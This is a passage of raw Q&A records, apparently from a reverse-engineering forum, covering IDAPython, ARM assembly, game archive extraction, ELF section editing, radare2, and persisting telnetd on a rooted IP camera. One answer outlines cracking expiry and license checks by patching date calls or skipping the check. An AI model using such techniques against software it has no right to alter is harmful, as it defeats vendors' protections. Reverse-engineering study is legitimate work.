    :\\>for /f %I in ( 'awk \"{print $1}\" uniqtags.txt ^| grep -i Zw ^| grep  Enlist ')  do grep %I uniqta\ngs.txt\n\n:\\>grep ZwCommitEnlistment uniqtags.txt\nZwCommitEnlistment      ( _In_ HANDLE EnlistmentHandle, _In_opt_ PLARGE_INTEGER TmVirtualClock )\n\n:\\>grep ZwCreateEnlistment uniqtags.txt\nZwCreateEnlistment      ( _Out_ PHANDLE EnlistmentHandle, _In_ ACCESS_MASK DesiredAccess, _In_ HANDL\nE ResourceManagerHandle, _In_ HANDLE TransactionHandle, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes\n, _In_opt_ ULONG CreateOptions, _In_ NOTIFICATION_MASK NotificationMask, _In_opt_ PVOID EnlistmentKe\ny )\n\n:\\>grep ZwOpenEnlistment uniqtags.txt\nZwOpenEnlistment        ( _Out_ PHANDLE EnlistmentHandle, _In_ ACCESS_MASK DesiredAccess, _In_ HANDL\nE RmHandle, _In_ LPGUID EnlistmentGuid, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes )\n\n:\\>grep ZwPrePrepareEnlistment uniqtags.txt\nZwPrePrepareEnlistment  ( _In_ HANDLE EnlistmentHandle, _In_opt_ PLARGE_INTEGER TmVirtualClock )\n\n:\\>grep ZwPrepareEnlistment uniqtags.txt\nZwPrepareEnlistment     ( _In_ HANDLE EnlistmentHandle, _In_opt_ PLARGE_INTEGER TmVirtualClock )\n\n:\\>grep ZwQueryInformationEnlistment uniqtags.txt\nZwQueryInformationEnlistment    ( _In_ HANDLE EnlistmentHandle, _In_ ENLISTMENT_INFORMATION_CLASS En\nlistmentInformationClass, _Out_writes_bytes_(EnlistmentInformationLength) PVOID EnlistmentInformatio\nn, _In_ ULONG EnlistmentInformationLength, _Out_opt_ PULONG ReturnLength )\n\n:\\>grep ZwReadOnlyEnlistment uniqtags.txt\nZwReadOnlyEnlistment    ( _In_ HANDLE EnlistmentHandle, _In_opt_ PLARGE_INTEGER TmVirtualClock )\n\n:\\>grep ZwRecoverEnlistment uniqtags.txt\nZwRecoverEnlistment     ( _In_ HANDLE EnlistmentHandle, _In_opt_ PVOID EnlistmentKey )\n\n:\\>grep ZwRollbackEnlistment uniqtags.txt\nZwRollbackEnlistment    ( _In_ HANDLE EnlistmentHandle, _In_opt_ PLARGE_INTEGER TmVirtualClock )\n\n:\\>grep ZwSetInformationEnlistment uniqtags.txt\nZwSetInformationEnlistment      ( _In_ HANDLE EnlistmentHandle, _In_ ENLISTMENT_INFORMATION_CLASS En\nlistmentInformationClass, _In_reads_bytes_(EnlistmentInformationLength) PVOID EnlistmentInformation,\n _In_ ULONG EnlistmentInformationLength )\n\n:\\>\n
    \n" }, { "Id": "14725", "CreationDate": "2017-02-23T14:17:31.177", "Body": "

    I'm new to IDAPython. Basically I want to iterate through all functions in an IDB file and their instructions using ida python script. The final goal is to export the functions & their instructions from idapro. in certain format.

    \n\n
    from idautils import *\nfrom idaapi import *\n\nea = BeginEA()\nfor funcea in Functions(SegStart(ea), SegEnd(ea)):\n    functionName = GetFunctionName(funcea)\n    print functionName\n
    \n\n

    Using above script I'm retrieving function names, now I also want to print the assembly instructions of each function. I know may I have to use GetDisasm(ea), not sure how to use the API.

    \n\n

    TIA

    \n", "Title": "Using IDA Python Iterate Through All Functions and Their Instructions", "Tags": "|ida|idapython|", "Answer": "

    Please note that it will print only those functions that were recognized as such by IDA autoanalysis or defined manually, exactly as your code snippet. This snippet is not debugged, use on your own risk.

    \n\n
    from idautils import *\nfrom idaapi import *\nfrom idc import *\n\nfor segea in Segments():\n    for funcea in Functions(segea, SegEnd(segea)):\n        functionName = GetFunctionName(funcea)\n        for (startea, endea) in Chunks(funcea):\n            for head in Heads(startea, endea):\n                print functionName, \":\", \"0x%08x\"%(head), \":\", GetDisasm(head)\n
    \n\n

    If you want to extract the instructions as binary you can use idc.NextHead function to get instruction boundaries.

    \n\n

    The function chunks mentioned in the code are not the same as we see in the the graph view in IDA (the function has more than one chunk if it is discontinuous\n): chunks in graph view are called \"basic blocks\", see more correct definition by the link.

    \n" }, { "Id": "14731", "CreationDate": "2017-02-24T01:42:52.947", "Body": "

    Working with ASM code, bit I don't understand what does is the difference between these lines?

    \n\n
    VLDR            S0, [R5]\nVLDR            S2, [R5,#4]\n
    \n\n

    What is the meaning of #4?

    \n", "Title": "What does this extra argument for a VLDR instruction mean?", "Tags": "|assembly|arm|", "Answer": "
    VLDR            S0, [R5]\n
    \n\n

    Load single-precision extension register S0. R5 is the ARM register with the base address for the transfer.

    \n\n
    VLDR            S2, [R5,#4]\n
    \n\n

    Load single-precision extension register S2. R5 is the ARM register with the base address for the transfer; however we will be adding the numeric offset (#4) to the base address R5 to get the address used for the transfer.

    \n" }, { "Id": "14744", "CreationDate": "2017-02-24T15:54:43.273", "Body": "

    Please bear in mind I am very new to all this - however I have searched and could not easily find an answer to my issue.

    \n\n

    I have an elf (actually an Android aboot image based upon LK) that I loaded into IDA Pro. I see Strings, and I wish to find out where these strings are referenced in code.

    \n\n

    \"enter

    \n\n

    I have tried to find cross-references to these strings in the code but there aren't any.

    \n\n

    Am I totally naive and missed out something totally obvious to the initiated? Could the strings be referenced by some obtuse run-time calculation of address (to obfuscate references) rather than just straightforward absolute/relative reference (which IDA mostly could work out?)

    \n\n

    Many thanks.

    \n", "Title": "How do I find where a String is referenced in IDA Pro?", "Tags": "|ida|elf|", "Answer": "

    It could just be an array of strings that is referenced by a table of offsets into the array. Here is an example of how strerror() looks up strings:

    \n\n

    \"String

    \n\n

    Should be pretty straightforward to see that errid is just used to calculate the pointer for a corresponding string in the errmsg table by the strerror() function. This could be why you are not seeing xrefs for those strings. Without more information, that's my best guess. I would try to find the beginning of that list of strings and look for an xref there.

    \n" }, { "Id": "14748", "CreationDate": "2017-02-24T22:14:31.580", "Body": "

    The shown girder is made from plain stone concrete and four 25 mm diameter steel wires. \nIncluding the weight of steel wires, determine self weight of the girder if its length is 12.5 m.\nNeglect the volume of concrete displaced by steel wires

    \n\n

    My answer,\n area of concrete = ((150*1200)+ 4((200*100)+(0.5*100*150))-(4*pi*(12.5)^2))*(1\u00d710^-3)^2=70.44m^2

    \n\n

    area of steel = (4*pi*(12.5)^2))*(1\u00d710^-3)^2 = 1.963\u00d710^-3m^2

    \n\n

    W = [(70.44\u00d722.6)+(1.96\u00d710^-3\u00d777.3)] = 1.59\u00d710^3KN/m\n\"enter

    \n", "Title": "Area calculations & what about 12.5m?", "Tags": "|struct|math|", "Answer": "

    This is not a question of reverse engineering, but anyway this is how you can proceed.

    \n\n

    Divide the cross-section into 5 parts - 3 rectangles and 2 trapezoids.\n\"enter

    \n\n

    Area of rectangle and trapezoids can be calculated with their respective formulae. Multiply by the length (12.5m) to get the volume. The product of volume and density would give the mass.

    \n\n

    Similarly, you can calculate the mass for the 4 steel wires.

    \n" }, { "Id": "14764", "CreationDate": "2017-02-26T19:50:50.927", "Body": "

    I have an old PC game called Air Strike 3D II. I wanted to extract music files but I couldn't figure out how to unpack the .apk file (NOT Android package). 7-zip can't open it. When I open the .apk file with IDA, it says (Unknown COFF machine) and it failed to disassemble it so it's not an assembly file.

    \n\n

    The headers always start with 0000803F 99990000. There is a folder named sounds and it contains .wav files, sounds/biglaser.wav, sounds/laser.wav etc... recovering files with WinHex does not help because it is packed and compressed.

    \n\n

    I found a log file that says

    \n\n
    ---- Initializing file system ----\n\npak1.apk - 733 files\npak2.apk - 45 files\npak4.apk - 1 files\nF_Init: \n3 data files found.\n
    \n\n

    I tried to disassemble the .exe file with IDA, but there is nothing useful because it is encrypted or obfuscated.

    \n\n

    Google doesn't give me solutions because it returns Android related results. I wish it could show results from 2008 and older.

    \n\n

    Here are the files if you want to take a look:\nhttps://drive.google.com/open?id=0B_6TXpxCnMc7TGVfOWlYWjVYXzQ

    \n", "Title": "Unpack .apk file from a PC game (NOT Android related)", "Tags": "|unpacking|hex|", "Answer": "

    Update: I've done a write up on the entire file format here: https://tkte.ch/articles/2017/02/27/air-strike-3d.html

    \n

    These files aren't compressed, so don't worry about that. Since all you want to do is extract those waves we can cheat (a lot) and ignore everything else. Lets do a naive check:

    \n
    > strings -n 4 pak2.apk | grep RIFF -c\n40\n\n> strings -n 4 pak2.apk | grep WAVEfmt -c\n40\n
    \n

    Well that's promising. Looks like we've got a bunch of WAVs encapsulated by RIFFs which is pretty common.

    \n\n
    #!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport sys\nimport struct\n\nRIFF_MAGIC = b'RIFF'\nRIFF_LENGTH = struct.Struct('<I')\n\n\ndef main():\n    in_file = sys.argv[1]\n\n    # Since the files are tiny lets cheat again and just read the entire thing.\n    with open(in_file, 'rb') as fin:\n        in_file = fin.read()\n\n    offset = 0\n    count = 0\n    \n    # We're going to skim through the file looking for the start of a RIFF file.\n    while True:\n        start = in_file.find(RIFF_MAGIC, offset)\n        if start == -1:\n            # None left, so we're done with this .apk.\n            print('Extracted {0} files.'.format(count))\n            return\n\n        # Found one, so lets read the next 4 bytes which are the length of the RIFF file.\n        length = RIFF_LENGTH.unpack_from(in_file, start + 4)[0]\n        # The 8 comes from the 4 bytes for RIFF and the 4 bytes for the length\n        # itself, which aren't included in the length.\n        offset = start + 8 + length\n\n        # annnnd save it.\n        with open('wav_{0}.wav'.format(count), 'wb') as fout:\n            fout.write(in_file[start:offset])\n\n        count += 1\n\nif __name__ == '__main__':\n    sys.exit(main())\n
    \n

    And give it a whirl...

    \n
    > python extract.py pak2.apk\nExtracted 40 files.\n
    \n

    Open one of the WAV's in VLC and woohoo, sounds.

    \n" }, { "Id": "14766", "CreationDate": "2017-02-27T04:22:42.550", "Body": "

    I'm looking to edit League of Legends's WAD files, but the developers of the game have recently decided to add a sort of hash to these files to check if their content is valid. Unfortunately, no one has been able to crack the code yet. I'm hoping someone might have at least an idea on what it could be.

    \n\n

    Here are a few files that I extracted (the ones in the \"old\" directory are older files that also have a hash that you can use for comparison):\nhttps://drive.google.com/file/d/0B5fV4q6wLg7bTUE2VHc5aW5Ca00

    \n\n

    The unknown \"hash\" value is bytes 4 to 87 (84 bytes long). I looked at this GitHub project to get started, but the person that wrote the code does not seem to know what that header means either. What I also found odd about the header is that it seems to vary in length (the end is padded with a different amount of null values in some files). At first I thought they might be using a variant of SHA or another hashing algorithm, but I'm no longer sure if that is the case because of the varying length, and I am definitely not a hashing professional.

    \n\n

    If it helps, you can also download the \"Wooxy\" program, a League of Legends file extractor/editor program, to extract, edit, and update the game files yourself.

    \n\n

    Even if you don't know the exact answer, any bit of help is highly appreciated!

    \n\n

    EDIT: This is what appears in the game's log when it attempts to load an edited WAD file:

    \n\n
    000036.460|  ERROR| ?:0: attempt to call global 'GetHashedGameObjName' (a nil value)\n000037.499| ALWAYS| Begin Game Object Update\n000037.936| ALWAYS| WadFile mount: DATA/FINAL/Champions/Chogath.wad (FAILED)\n000037.937| ALWAYS| Riot::RADS::Reader::SignalSoftRepair: Wrote soft repair file to C:/Riot Games/League of Legends/RADS/solutions/lol_game_client_sln/releases/0.0.1.163/SOFT_REPAIR. This will cause the patcher to repair your installation.\n000037.937|  ERROR| Assertion failed!\n\nExpression: ALE-18967997\n\nDescription: FATAL ERROR - WadFile mount failed: Champions/Chogath.wad\n000039.411|  ERROR| Crash Occurred\n
    \n\n

    EDIT 2: There also seems to be an unknown value between bytes 88 and 95 (8 bytes long). Changing the bytes doesn't seem to crash the game, though.

    \n\n

    EDIT 3: I found out that the header looks like it's separated into 2 parts. Byte 4 indicates the total length of the header (without 00 padding). Byte 8 indicates the length of the first \"chunk\". After that amount of bytes, there is a 02, and the byte after that indicates the length of the second \"chunk\". After that second bit, there are 00s until byte 87.

    \n", "Title": "File Reverse Engineering \u2013 League of Legends WAD File Header Hash", "Tags": "|file-format|", "Answer": "

    Turns out the header is actually a ECDSA public key and signature, so, according to what I've read, it's basically impossible to modify the file without re-signing it with the private key (which I do not have).

    \n" }, { "Id": "14767", "CreationDate": "2017-02-27T04:48:39.240", "Body": "

    I'm trying to revers this section of code, but I don't get it fully.

    \n\n
    loc_2F2E0\nVLDR            D19, =210.0\nMOVS            R1, #0\nVLDR            D18, =190.0\nMOVS            R0, #0\nVCMPE.F64       D17, D19\nVMRS            APSR_nzcv, FPSCR\nVCMPE.F64       D17, D18\nIT MI\nMOVMI           R1, #1\nVMRS            APSR_nzcv, FPSCR\nVCMPE.F64       D17, D19\nIT GT\nMOVGT           R0, #1\nVMRS            APSR_nzcv, FPSCR\nBNE             loc_2F348\n
    \n\n

    As far as I can understand, what happens is:

    \n\n
    D19 = 210.0;\nR1 = 0;\nD18 = 190.0;\nR0 = 0;\nif(D17 < D19 && D17 >= D18){\n    R1 = 1;\n}\nif(D17 > D19){\n    R0 = 1;\n}\nif(D17 != D19){\n    // goes to loc_2F348\n}\n
    \n\n

    But I'm pretty sure I have made some mistakes on the VCMPE IT MI IT GT MOVMI and MOVGT, but I'm not sure.

    \n", "Title": "Creating basic pseudocode from ARM ASM", "Tags": "|assembly|arm|", "Answer": "

    For the flags to be visible by the IT block, they need to be moved to APSR.

    \n\n

    This means that the IT MI block will only have the flags from VCMPE.F64 D17, D19, and the IT GT block will only see the result of VCMPE.F64 D17, D18

    \n\n
    D19 = 210.0;\nR1 = 0;\nD18 = 190.0;\nR0 = 0;\nif(D17 < D19) {\n    R1 = 1;\n}\nif(D17 > D18) {\n    R0 = 1;\n}\nif(D17 != D19){\n    // goes to loc_2F348\n}\n
    \n" }, { "Id": "14776", "CreationDate": "2017-02-28T10:35:29.043", "Body": "

    I'm trying to reverse-engineer a function in IDA Pro that was originally identified by IDA as such (I was able to rename it into Device_CreateCloseIoControl):

    \n\n

    \"enter

    \n\n

    but I know that this function was originally compiled as this:

    \n\n

    \"enter

    \n\n

    where DEVICE_OBJECT and IRP structs are defined in wdm.h from Windows Driver Kit.

    \n\n

    So I'm curious, is there a way to rename this function to make IDA use those custom types? (Included in a specific header file.)

    \n", "Title": "How to adjust function type/call parameters to custom structs in IDA Pro?", "Tags": "|ida|windows|debugging|binary-analysis|", "Answer": "

    To do this you need to do the following:

    \n\n
      \n
    1. Define or import structures involved in function definition if not defined yet. You can add a structure via Structures window (View-->Open Subviews-->Structures, or Shift-F9) , import the header file via File-->Load file-->Parse C header file, or Ctrl-F9 (this will also import typedefs if needed) or use a type library as described in How to import Windows DDK headers into IDA? .
      2. \n
    2. After that you should locate cursor at the function definition, press Y and enter C function prototype as it stated in the function definition.
      3. \n
    \n\n

    Good luck.

    \n" }, { "Id": "14779", "CreationDate": "2017-03-01T02:21:28.467", "Body": "

    I am in Linux, and I have seen this question a few times but never, nobody answered how to really make this work.

    \n\n

    I need to add a section to an already compiled binary. Lets say for a moment is an ELF file. I'm using objcopy so this should be generic for any format because objcopy uses libbfd that handles many formats.

    \n\n

    My process is as follows.

    \n\n

    I create the bytecode for a section I want to append to an already compiled ELF file. Let's name this file bytecode.bin

    \n\n

    Then I do:

    \n\n
    objcopy --add-section .mysection=bytecode.bin \\\n--set-section-flags .mysection=code,contents,alloc,load,readonly \\\nmyprogram myprogram_edited\n
    \n\n

    Then I adjust the VMA of the secition:

    \n\n
    objcopy --adjust-section-vma .mysection=$((16#XXXXX)) myprogram_edited myprogram_edited\n
    \n\n

    Where XXXXXX is the new VMA address for the section.

    \n\n

    I get the warning:

    \n\n
    objcopy: stIbZt3t: warning: allocated section `.mysection' not in segment\n
    \n\n

    When I do:

    \n\n
    objdump -d myprogram_edited\n
    \n\n

    I see:

    \n\n
    Disassembly of section .mysection:\n\n0000000000201011 <.mysection>:\n...\n...\n
    \n\n

    So I see the section is created OK and the VMA adjusted. But the section is not mapped to segments, so it can't be loaded at runtime.

    \n\n

    How can I solve this?

    \n\n

    EDIT:

    \n\n

    I opted for using Intel's PIN tool. Very useful and powerful for RI and binary injection.

    \n", "Title": "How to SUCCESSFULLY add a code section to an executable file in Linux?", "Tags": "|binary-analysis|linux|elf|executable|binary-format|", "Answer": "

    I ended up using Intel PIN

    \n

    Edit:\nI know this isn't actually an answer to the question. I was trying to change the behavior of a native executable and thought that I needed to change the binary on disk, when actually a binary instrumentation tool was enough for my purpuse.

    \n" }, { "Id": "14794", "CreationDate": "2017-03-02T18:10:35.103", "Body": "

    Problem : How can I debug an ELF file in MS Windows? is it possible?

    \n\n

    Scenario :

    \n\n

    I have an ELF file compiled to work on hardware with VXWorks 5.5 OS and SH4 CPU. IDA68 is able to disassemble the file and correctly detects SH4 instructions although looks like IDA is unable to debug it with its debugger(the debugger icon is grey), and without the ability to debug the assembly it is almost impossible to understand.

    \n\n

    Am I missing something here?

    \n", "Title": "Is it possible to debug an ELF file with a Windows-based disassembler?", "Tags": "|ida|windows|debugging|elf|", "Answer": "

    ELF files can be debugged using IDA debugger if you have the same CPU and OS that were used to build them, installed locally or have them in a remote machine.

    \n\n

    In case you don't, you're still able to debug the file but only if the compiler have debugging data in DWARF standard included in the file.

    \n\n

    Another option that SVS suggest me, is to set up an emulator with OS and Arctitecture you need trace the file over there which is a good practical way I believe.

    \n\n

    Not all ELF files have DWARF debugging data. Particularly, those that are not suppose to be reverse engineered.

    \n" }, { "Id": "14795", "CreationDate": "2017-03-02T18:52:51.217", "Body": "

    I am working with IDA and I have the OpenProcess function receiving dwDesireAccess of 0x410:

    \n\n

    \"enter

    \n\n

    According to MSDN we can see that 0x410 is the result of OR between two access rights:

    \n\n
    PROCESS_QUERY_INFORMATION (0x0400)\nPROCESS_VM_READ (0x0010)\n
    \n\n

    How can I set a standard symbolic constant such as
    \nPROCESS_QUERY_INFORMATION | PROCESS_VM_READ ?

    \n\n

    I must do it manually (with \"Manual...\")?

    \n\n

    This is only what I have:
    \n\"enter

    \n", "Title": "How to add standard symbolic constants with bitwise operators (like ORs)", "Tags": "|ida|debugging-symbols|", "Answer": "

    You could create a bitfield enum. Since the enum containing PROCESS_VM_READ already exists in the MSSDK type library, we are going to copy that and modify it to become a bitfield.

    \n\n
      \n

    1. Go to the enums subview, then right click and Add enum... (press Insert on Windows).\n\"enter

      2. \n

    2. Click Add standard enum by symbol name.
      \n\"enter

      3. \n

    3. Find PROCESS_VM_READ, then click OK.
      \n\"enter

      4. \n

    4. A new enum called MACRO_PROCESS should be added. Expand it (CtrlNumpad + or right click \u2192 Unhide)

      5. \n

    5. Delete the enum member PROCESS_ALL_ACCESS (press U when selecting it).
      \n\"enter

      6. \n

    6. Right click and choose Edit enum... (CtrlE).

      7. \n

    7. Check Bitfield, then click OK. (This step will fail if you don't perform step 5)\n\"enter

      8. \n
    \n\n

    Now the MACRO_PROCESS bitfield should appear when you hit M on 410h, and should appear as something like

    \n\n
    mov     eax, PROCESS_VM_READ or PROCESS_QUERY_INFORMATION\n
    \n" }, { "Id": "14815", "CreationDate": "2017-03-03T20:17:38.597", "Body": "

    I have undefined a block of code and I want to manually reconstruct this block by iterating over the area while decoding undefined bytes and calling idc.MakeCode for each instruction separately.

    \n\n

    I have disabled auto-analysis, but calling MakeCode on the head of the block causes the entire block to be converted to code. I can't find anything in IDA Python / IDC to do this that isn't a hook. Is there an analysis flag I need to set in order to prevent this behavior?

    \n", "Title": "How can I call IDA Pro's MakeCode for one instruction at a time?", "Tags": "|ida|idapython|ida-plugin|idapro-sdk|", "Answer": "

    NirIzr's answer has a major drawback: All those locations following the decoded instructions are still added to the analyzer queue, they're just not being processed. That means if you ever enable analysis again, IDA will go back and process them all, completely obliterating whatever your script did.

    \n\n

    A better solution is to go into \"Kernel options 1\" and uncheck \"Trace execution flow\" before running your script. That's the one responsible for adding an address immediately following a decoded instruction into the analysis queue, so this way those addresses won't be added to the queue in the first place. When your script is done, you can go back and check it again and continue using IDA with analysis enabled.

    \n" }, { "Id": "14816", "CreationDate": "2017-03-03T20:26:13.313", "Body": "

    I am starting with reverse engineering/cracking with advanced knowledge about programming and functioning of the operating system and I saw a whole series of lena151 Lenas Reversing for Newbies but I have a problem I do not know how I should properly begin cracking windowed crackmes without using call stack and finding text strings. For example I have ollydbg and Pulsar Crackme (Level 0) (https://uloz.to/!CsZzoI6kT9zF/crackme-exe) I have already cracked, and several other, (key is PuL-sAr-001) but I crack him only because I accidentally found badboy/goodboy but it can not crack it using another method (in more complicated crackmes it is big problem). Is there any tutorial where this is explained ? And what method you use which may also be used in the analysis viruses ?

    \n", "Title": "How to crack windowed crackmes?", "Tags": "|ollydbg|crackme|", "Answer": "

    There are many ways to go about changing the behavior of programs. For example, if you have a program that checks for the date and time in order to decide if the product is expired, you could: a. change the system date and time to temporarily \"crack\" the program or b. patch the system call that checks for the date and time to return an acceptable value.

    \n\n

    You could also patch the kernel (which is probably unsuitable for a check like this, as it will affect the whole system) or simply find the check in the executable and change the code to jump it , or just remove it...

    \n\n

    What you're doing is trying to reverse engineer an application and change it to do what you want. This requires knowledge in general and specific areas, dependening on what kind of program you're trying to reverse engineer.

    \n\n

    Here's a few a practical leads on how you could achieve what you're trying to do:

    \n\n
      \n
    1. Use a tool like Regshot to compare changes in the registry
      2. \n
    2. Use a tool like Program monitor from SystemInternals to find out what the program is doing
      3. \n
    3. Place breakpoints on all suspect system calls
      4. \n
    4. With complex applications, once you find a starting point you may need to reverse engineer the assembly code to understand what it's doing
      5. \n
    5. You can use Radare2/ IDA to statically analyze (or actively debug) the program and rename methods until you reach an understanding of what must be done to achieve your goal.
      6. \n
    \n\n

    If you're interested in learning how to reverse engineer applications there are many books on this subject that you can look for and read.

    \n\n

    Here's a list of (some of the) things you'd need to know:

    \n\n
      \n
    1. Understand the OS you're working in
      2. \n
    2. Knowledge of (several) programming languages
      3. \n
    3. Understand the PE/ELF file formats (or any other format you'd want to reverse engineer)
      4. \n
    4. Understanding Assembly language
      5. \n
    \n\n

    Needless to say, reverse engineering may be illegal in your location, or on specific products (see EULA), so make sure that you're not doing anything that you are not allowed to do.

    \n\n

    Hope this helps

    \n" }, { "Id": "14823", "CreationDate": "2017-03-04T14:58:19.283", "Body": "

    It sounds like a stupid question but I honestly can't find the answer... I've looked at https://radare.gitbooks.io/radare2book/content/ and googled for hours but it still eludes me.

    \n\n

    How do I modify the memory in radare2? I know if I want to modify a register value I can do:

    \n\n
    dr eax = 0xA\n
    \n\n

    But what about modifying a value in the stack or the heap at a specific address?

    \n", "Title": "Editing memory in radare2", "Tags": "|disassembly|memory|radare2|", "Answer": "

    To write the string "foo" into the memory address 0xdeadbeef:

    \n

    w foo @ 0xdeadbeef

    \n

    To write the hex 0x41414141 to the memory address 0xdeadbeef:

    \n

    w \\x41\\x41\\x41\\x41 @ 0xdeadbeef

    \n

    I recommend also taking a look at the various options for writing using the command w?.

    \n" }, { "Id": "14840", "CreationDate": "2017-03-07T03:52:59.120", "Body": "

    I've got a root shell via UART serial connection to an IP Camera that I've been playing with. Similar device is seen here: https://www.exploitee.rs/index.php/Belkin_NetCam_HD%2B

    \n\n

    It's got busybox with telnetd, so once I run telnetd, I can get into the box without my serial connection. However, once it restarts, any changed data on the filesystem is lost. (I tried adding telnetd to the /etc/init.d/ files, but after reboot that file is reverted to original.)

    \n\n

    My goal, ultimately, is to set this up so that I don't need to keep a serial connection. I'd like to have the telnet server run automatically at start up. Any ideas?

    \n\n

    Here is some output from serial at boot:

    \n\n
    spl: start\nrtcbits_v2: initializing ...\nrtcbits: resetflag, 8@0\nrtcbits: holdbase, 24@8\nrtcbits: batterycap, 8@32\nrtcbits: retry_reboot, 8@40\nrtcbits: fastboot, 1@48\nrtcbits: forceshut, 1@49\nrtcbits: sleeping, 1@0\nspl: ----------------------------------------\nspl: devType:0x4\nspl: ----------------------------------------\nspl: bdevice_id:0x7\ncmd1 intsts=0x104 err!\nCard did not respond to voltage select!\nMMC: block number 0x8001 exceeds max(0x0)\nmagic do not match2. 0x7f31d8dc\nPCLK: 134000000, PS: 2, SCR: 12, Fout: 5153846\nboard arch is set to: a5pv10\ncpu is imapx15\nrtcbits: get bits for resetflag: 0x00\nboot state(0)\n---------------bootst: 0\nspl: dramc---DDR V6.0: mDDR support 16:58:51\nspl: dramc---\ndramc init start\nspl: dramc---dram.type found in items, the value is mDDR\nspl: dramc---dram.freq found in items, its value is 200\nspl: dramc---memory.cl found in items, its value is 3\nspl: dramc---dram.count found in items, its value is 1\nspl: dramc---dram.width found in items, its value is 32\nspl: dramc---dram.capacity found in items, its value is 256\nspl: dramc---memory.driver not found in items, use its default value -481465940\nspl: dramc---memory.trfc found in items, its value is 64\nspl: dramc---memory.tras found in items, its value is 15\nspl: dramc---memory.highres not found in items, use its default value 0\nspl: dramc---dram.rank_sel 1, dram.count 0, dram.reduce_flag 0\nspl: dramc---count width capacity: 0, 3, 5, size 0x100\nspl: dramc---rcb: 14 10 2\nspl: dramc---ADDR_PHY_PGSR = 0xa\nspl: dramc---dramc init succeed and finished\nrballoc: 0x1000@0x87808000 allocated for bootstats\nrballoc: 0x1000@0x87809000 allocated for devType\nspl: dramc---dram.size not found in items, use default value 256\nrballoc: 0x1000@0x8780a000 allocated for dramsize\nrballoc: 0x1000@0x8780b000 allocated for bootxom\nspl: boot item exist: board.disk, flash\nPCLK: 134000000, PS: 2, SCR: 12, Fout: 5153846\nhash_data\ni: type (1)\ni: signature (0)\nrballoc: 0x4000@0x8780c000 allocated for itemrrtb\nspl: jump\nrballoc: 0x4000@0x\u25ca\n\nU-Boot 2009.08 (Jul 27 2016 - 16:58:07)\nShanghai InfoTM Microelectronics Co., Ltd.\n\nMemory type: DDRII 128 MB\nrballoc: 0x1000@0x87814000 allocated for rtcbits\nrtcbits_v2: initializing ...\nrtcbits: resetflag, 8@0\nrtcbits: holdbase, 24@8\nrtcbits: batterycap, 8@32\nrtcbits: retry_reboot, 8@40\nrtcbits: fastboot, 1@48\nrtcbits: forceshut, 1@49\nrtcbits: sleeping, 1@0\nrbget item_mem = 8780c000\nIR led is not opened \n$$$$$$$$$$$$$$$$$LED ON$$$$$$$$$$$$$$$$$$$$$$$$$\nboard arch is set to: a5pv10\ncpu is imapx15\nenv_relocate[228] offset = 0x0\n*** Warning - bad CRC or NAND, using default environment\n\nConsole devices(i/o/e): serial, serial, serial\nrtcbits: get bits for resetflag: 0x00\n---------------bootst: 0\nrtcbits: get bits for resetflag: 0x00\nbootst exist: 0\n---------------bootst: 0\nHit any key to stop autoboot:  0 \nkeys.fastboot not exist\n display_logo screenDeviceType:1, burn_status:1, timest:1074\n display_logo no for begin, timest:1078\nrballoc: 0x1000@0x87815000 allocated for rclk\nrballoc: 0x1000@0x87816000 allocated for rfpsx1000\nrballoc: 0x1000@0x87817000 allocated for div2\nrballoc: shared owner (rclk) 0x1000@0x87815000\nrballoc: shared owner (rfpsx1000) 0x1000@0x87816000\nrballoc: shared owner (div2) 0x1000@0x87817000\nrballoc: 0x1000@0x87818000 allocated for ubootlogo\nrtcbits: get bits for resetflag: 0x00\nbootst exist: 0\n---------------bootst: 0\ncmd1 intsts=0x104 err!\nCard did not respond to voltage select!\nassign device(mmc1) failed (-17)\ncmd1 intsts=0x104 err!\nCard did not respond to voltage select!\nassign device(mmc1) failed (-17)\nNo media_src for seperate images detected\nbatt_main() \nbatt_item_init() run \nPMU_NULL \nbatt_item.batt_v_start = 3450 \ncharger_pwron = 0, charger_enable = 0 \nPMU isn't AXP202, AXP202_MODE_NULL \nCPU IS IMAPX15 NEW V2.1\nbatt_item_init() end \nrtcbits: get bits for resetflag: 0x00\nbootst exist: 0\n---------------bootst: 0\npmu.model is exist, but not set the pmu supported\nonly for debug, or system error\nbegain infotm_check_recovery\nkeys.recovery not exist\nPCLK: 134000000, PS: 2, SCR: 2, Fout: 22333333\nwarning: not spi boot\nxom=2\nboottype == 0\nbootl from NORMAL.\nfetch kernel0@0xa0000 ...\nPCLK: 134000000, PS: 2, SCR: 2, Fout: 22333333\nwarning: not spi boot\nxom=2\n3268ms\nline:248,bootl->board.disk item_equal flash,is spi\n BOOT CMD: bootm 80007fc0\n## Booting kernel from Legacy Image at 80007fc0 ...\n   Image Name:   Imogen-X860-I\n   Image Type:   ARM Linux Kernel Image (uncompressed)\n   Data Size:    8753448 Bytes =  8.3 MB\n   Load Address: 80008000\n   Entry Point:  80008000\n   Loading Kernel Image ... OK\nOK\n\nStarting kernel ...\n<snip>\n
    \n\n

    I can't paste the entire kernel boot log here but I'll stick it on pastebin: http://pastebin.com/SurihSLL

    \n\n

    Any thoughts on how I can make a permanent file system change? Thanks!

    \n\n

    UPDATED BELOW

    \n\n
    # cat  /proc/mounts\nrootfs / rootfs rw,relatime 0 0\ndevtmpfs /dev devtmpfs rw,relatime,size=91180k,nr_inodes=22795,mode=755 0 0\nproc /proc proc rw,relatime 0 0\ndevpts /dev/pts devpts rw,relatime,gid=5,mode=620,ptmxmode=000 0 0\ntmpfs /dev/shm tmpfs rw,relatime,mode=777 0 0\ntmpfs /tmp tmpfs rw,relatime 0 0\ntmpfs /root tmpfs rw,relatime 0 0\nsysfs /sys sysfs rw,relatime 0 0\n/dev/mtdblock5 /mnt/config jffs2 rw,relatime 0 0\n
    \n\n

    and..

    \n\n
    # cat /proc/mtd\ndev:    size   erasesize  name\nmtd0: 00080000 00010000 \"boot\"\nmtd1: 00010000 00010000 \"oem\"\nmtd2: 00010000 00010000 \"config\"\nmtd3: 00a00000 00010000 \"kernel0\"\nmtd4: 00a00000 00010000 \"kernel1\"\nmtd5: 00080000 00010000 \"jffs\"\nmtd6: 00ae0000 00010000 \"media\"\n
    \n\n

    So to answer your question @w-s, yes /etc/init.d is writeable but it doesn't persist beyond reboot. :(

    \n\n

    Also.. it does use U-Boot. It even shows this (VERY briefly) at boot up: Hit any key to stop autoboot: 0 (line 83 on pastebin above) but even when I repeatedly mash the any key on my keyboard, it doesn't seem to accept input. I've tried a number of times but same lack of success!

